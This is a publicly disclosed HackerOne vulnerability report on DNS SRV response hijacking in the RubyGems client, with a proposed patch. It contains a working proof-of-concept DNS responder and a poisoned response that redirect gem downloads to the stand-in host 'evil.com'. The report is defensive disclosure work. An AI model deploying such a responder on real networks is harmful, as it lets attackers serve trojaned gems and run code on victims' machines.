RubyGems · Report #218088

Request Hijacking Vulnerability in RubyGems 2.6.11 and earlier

Validstatus

highseverity

10upvotes

30 Aug 2017disclosed

How it was found

Description:

The RubyGems client supports a gem server API discovery functionality, which is used when pushing or pulling gems to a gem distribution/hosting server, like RubyGems.org. This functionality is provided via a SRV DNS request to the users gem source hostname prepended with "_rubygems._tcp.". The response to this request tells the RubyGems client (aka: the gem command) where the users gem server API is. In the default RubyGems scenario, with a gem source of https://rubygems.org, the users SRV DNS request and reply will look like this:

~ $ dig srv _rubygems._tcp.rubygems.org +short
0 1 80 api.rubygems.org.

Due to a deficiency in DNS response verification, a MiTM positioned attacker can poison the DNS response to this record response and force the client to unknowingly download and install Ruby gems from an attacker controlled gem server in an alternate security domain. An example of such a scenario would look like so:

~ $ dig _rubygems._tcp.rubygems.org SRV +short
0 0 53 evil.com/api.rubygems.com.

In such a scenario, the attacker is able to serve the client malicious gem content, resulting in trivial remote code execution scenarios. For example, the attacker could simply modify the gem source code and trigger code execution via the extensions API at install time on the client machine (a gem trojaning technique described by Ben Smith in his "Hacking with Gems" presentation at Aloha Ruby Conference in 2012 - https://www.youtube.com/watch?v=z-5bO0Q1J9s)/

This vulnerability has the same net effect/impact as CVE-2015-3900 and CVE-2015-4020.

Affected method in Gem::RemoteFetcher:

https://github.com/rubygems/rubygems/blob/5096fa35c1ca3e0a7d175aaf9d77cd93114fd977/lib/rubygems/remote_fetcher.rb#L101-L119

PoC DNS SRV Responder:

#!/usr/bin/env ruby
require 'rubydns'
require 'rubydns/system'
INTERFACES = [
	[:udp, "0.0.0.0", 53],
	[:tcp, "0.0.0.0", 53]
]
Name = Resolv::DNS::Name
IN = Resolv::DNS::Resource::IN	
RubyDNS::run_server(:listen => INTERFACES) do
  match(//, IN::SRV) do |transaction|
    transaction.respond!(0,0,53,"evil.com/api.rubygems.com")
  end
end

Recommendations:

Consider this small patch to address the immediate attack vector...

-      if /\.#{Regexp.quote(host)}\z/ =~ target
+      if (/\.#{Regexp.quote(host)}\z/ =~ target) && !target.include?("/")

Also, consider moving away from doing API discovery via DNS. Would recommend moving to HTTPS, where you will have a stronger transport security chain.

References (these are not new, just references prior work here to help triage team understand impact):

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original